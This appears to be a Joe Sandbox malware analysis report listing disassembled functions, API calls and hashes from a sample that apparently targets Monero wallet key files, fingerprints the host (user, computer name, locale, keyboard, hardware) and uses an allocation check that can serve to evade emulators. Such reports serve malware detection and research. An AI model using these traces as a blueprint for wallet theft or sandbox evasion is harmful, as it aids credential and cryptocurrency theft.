Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: a423f45ed66d17fafa8886b6c1d66dad3053bdafa6434a698efd5ccb67beb70e
Instruction ID: 61b5c2138de5411b94626ed1072ec660cfd7e358c3d260bc286cfd1f6bfa6af3
Opcode Fuzzy Hash: a423f45ed66d17fafa8886b6c1d66dad3053bdafa6434a698efd5ccb67beb70e
Instruction Fuzzy Hash: CF21CBF7914308ABC7A4F7B0DC46EFE337DAB54300F004548B65997181EEB49AC99B96

Function 006F0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01658A60), ref: 006F079A
StrCmpCA.SHLWAPI(00000000,01658A50), ref: 006F0866
StrCmpCA.SHLWAPI(00000000,01658B30), ref: 006F099D

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 9c7c5329b36573d276d73bffbe7ac29664d0cdd4cae832c8b152722c4fec3c96
Instruction ID: 8c34052bb9f3be4ea336a6b1d8e3e0dc3dd353e83e3bb6546653153de190ab5b
Opcode Fuzzy Hash: 9c7c5329b36573d276d73bffbe7ac29664d0cdd4cae832c8b152722c4fec3c96
Instruction Fuzzy Hash: C7917AB5A102489FCB68EF64D991EFD77B7BF94300F40851DE9098F251DB30AA06CB96

Function 006F0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01658A60), ref: 006F079A
StrCmpCA.SHLWAPI(00000000,01658A50), ref: 006F0866
StrCmpCA.SHLWAPI(00000000,01658B30), ref: 006F099D

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0a4110e9f2d7377f2cd15a2e13a35ac418d29fd29c26f0372f56eb8620637f6f
Instruction ID: 776a0b299ef3be03c3183420c87e3272e5d8f57553b7a9c0fc024fd67de9644d
Opcode Fuzzy Hash: 0a4110e9f2d7377f2cd15a2e13a35ac418d29fd29c26f0372f56eb8620637f6f
Instruction Fuzzy Hash: F68167B5A102099FCB58EF64C991EEDB7B7FF94300F50851DE9099F251DB30AA06CB86

Function 006F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7910
RtlAllocateHeap.NTDLL(00000000), ref: 006F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 006F792F

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 6c4ab2f563e3e0b6a04f100dafdac04b87f96d006d186c8af0c8ded9d2d16a17
Instruction ID: 9d86e3f71eb0ee5485a780d54e14e4648fb5b5fb7131dacf4f42d062315d9c69
Opcode Fuzzy Hash: 6c4ab2f563e3e0b6a04f100dafdac04b87f96d006d186c8af0c8ded9d2d16a17
Instruction Fuzzy Hash: 2101A9B1A08209EFC710DF94DD45FAEBBB8F704B21F104219FA45E3380C77459018BA1

Function 6C663060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C663095

Part of subcall function 6C6635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6EF688,00001000), ref: 6C6635D5
Part of subcall function 6C6635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6635E0
Part of subcall function 6C6635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6635FD
Part of subcall function 6C6635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C66363F
Part of subcall function 6C6635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C66369F
Part of subcall function 6C6635A0: __aulldiv.LIBCMT ref: 6C6636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C66309F

Part of subcall function 6C685B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6856EE,?,00000001), ref: 6C685B85
Part of subcall function 6C685B50: EnterCriticalSection.KERNEL32(6C6EF688,?,?,?,6C6856EE,?,00000001), ref: 6C685B90
Part of subcall function 6C685B50: LeaveCriticalSection.KERNEL32(6C6EF688,?,?,?,6C6856EE,?,00000001), ref: 6C685BD8
Part of subcall function 6C685B50: GetTickCount64.KERNEL32 ref: 6C685BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6630BE

Part of subcall function 6C6630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C663127
Part of subcall function 6C6630F0: __aulldiv.LIBCMT ref: 6C663140

Part of subcall function 6C69AB2A: __onexit.LIBCMT ref: 6C69AB30

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 6d6f172e49c1bc99519437165a18f56f8c0db7d0e78ce2e253b0e11d8a4e1812
Instruction ID: 50df394a72849c2cfcbfdbf72406a71aa2951505a0a25255c867741b638b23d9
Opcode Fuzzy Hash: 6d6f172e49c1bc99519437165a18f56f8c0db7d0e78ce2e253b0e11d8a4e1812
Instruction Fuzzy Hash: 92F0F912E2874497CB50DF3698D11EA7370AFAF214F10172BE84453511FB2062D883DF

Function 006F9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 006F9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006F94A5
CloseHandle.KERNEL32(00000000), ref: 006F94AF

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 357b074d3dfb6682d897421193e3f2a96a55c6e8714de77155cfadaffb978dda
Instruction ID: c3adaf62a04632432b839a1f238deaac1b0586e9ac814bd27ed90a7c783b0219
Opcode Fuzzy Hash: 357b074d3dfb6682d897421193e3f2a96a55c6e8714de77155cfadaffb978dda
Instruction Fuzzy Hash: 9FF05E7590020CFBDB14EFA4DC4AFED77B8EB08700F004498BB1997290D6B06E86DB91

Function 006E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 006E1132
ExitProcess.KERNEL32 ref: 006E1143

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 74bde94f6e928524017610a59d9a1d9acb752a951dab4e7a8d9651477480e6b9
Instruction ID: 02c7ee9801739314c1a6e1c976b158c276720816fdb32daec40af3c8698b6a82
Opcode Fuzzy Hash: 74bde94f6e928524017610a59d9a1d9acb752a951dab4e7a8d9651477480e6b9
Instruction Fuzzy Hash: 8EE08671959348FBE7206BA19C0AB4C7678AB04B01F100044F709BA1C0C6B42601A699

Function 006F1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006F7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006F7542
Part of subcall function 006F7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006F757F
Part of subcall function 006F7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7603
Part of subcall function 006F7500: RtlAllocateHeap.NTDLL(00000000), ref: 006F760A

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006F7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F76A4
Part of subcall function 006F7690: RtlAllocateHeap.NTDLL(00000000), ref: 006F76AB

Part of subcall function 006F77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,006FDBC0,000000FF,?,006F1C99,00000000,?,0165D7B8,00000000,?), ref: 006F77F2
Part of subcall function 006F77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,006FDBC0,000000FF,?,006F1C99,00000000,?,0165D7B8,00000000,?), ref: 006F77F9

Part of subcall function 006F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006E11B7), ref: 006F7880
Part of subcall function 006F7850: RtlAllocateHeap.NTDLL(00000000), ref: 006F7887
Part of subcall function 006F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006F789F

Part of subcall function 006F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7910
Part of subcall function 006F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006F7917
Part of subcall function 006F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006F792F

Part of subcall function 006F7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00700E00,00000000,?), ref: 006F79B0
Part of subcall function 006F7980: RtlAllocateHeap.NTDLL(00000000), ref: 006F79B7
Part of subcall function 006F7980: GetLocalTime.KERNEL32(?,?,?,?,?,00700E00,00000000,?), ref: 006F79C4
Part of subcall function 006F7980: wsprintfA.USER32 ref: 006F79F3

Part of subcall function 006F7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0165D940,00000000,?,00700E10,00000000,?,00000000,00000000), ref: 006F7A63
Part of subcall function 006F7A30: RtlAllocateHeap.NTDLL(00000000), ref: 006F7A6A
Part of subcall function 006F7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0165D940,00000000,?,00700E10,00000000,?,00000000,00000000,?), ref: 006F7A7D

Part of subcall function 006F7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0165D940,00000000,?,00700E10,00000000,?,00000000,00000000), ref: 006F7B35

Part of subcall function 006F7B90: GetKeyboardLayoutList.USER32(00000000,00000000,007005AF), ref: 006F7BE1
Part of subcall function 006F7B90: LocalAlloc.KERNEL32(00000040,?), ref: 006F7BF9
Part of subcall function 006F7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 006F7C0D
Part of subcall function 006F7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006F7C62
Part of subcall function 006F7B90: LocalFree.KERNEL32(00000000), ref: 006F7D22

Part of subcall function 006F7D80: GetSystemPowerStatus.KERNEL32(?), ref: 006F7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0165D598,00000000,?,00700E24,00000000,?,00000000,00000000,?,0165D850,00000000,?,00700E20,00000000), ref: 006F207E

Part of subcall function 006F9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 006F9484
Part of subcall function 006F9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006F94A5
Part of subcall function 006F9470: CloseHandle.KERNEL32(00000000), ref: 006F94AF

Part of subcall function 006F7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7E37
Part of subcall function 006F7E00: RtlAllocateHeap.NTDLL(00000000), ref: 006F7E3E
Part of subcall function 006F7E00: RegOpenKeyExA.KERNEL32(80000002,0164B738,00000000,00020119,?), ref: 006F7E5E
Part of subcall function 006F7E00: RegQueryValueExA.KERNEL32(?,0165D458,00000000,00000000,000000FF,000000FF), ref: 006F7E7F
Part of subcall function 006F7E00: RegCloseKey.ADVAPI32(?), ref: 006F7E92

Part of subcall function 006F7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 006F7FC9
Part of subcall function 006F7F60: GetLastError.KERNEL32 ref: 006F7FD8

Part of subcall function 006F7ED0: GetSystemInfo.KERNEL32(00700E2C), ref: 006F7F00
Part of subcall function 006F7ED0: wsprintfA.USER32 ref: 006F7F16

Part of subcall function 006F8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0165DAD8,00000000,?,00700E2C,00000000,?,00000000), ref: 006F8130
Part of subcall function 006F8100: RtlAllocateHeap.NTDLL(00000000), ref: 006F8137
Part of subcall function 006F8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006F8158
Part of subcall function 006F8100: __aulldiv.LIBCMT ref: 006F8172
Part of subcall function 006F8100: __aulldiv.LIBCMT ref: 006F8180
Part of subcall function 006F8100: wsprintfA.USER32 ref: 006F81AC

Part of subcall function 006F87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00700E28,00000000,?), ref: 006F882F
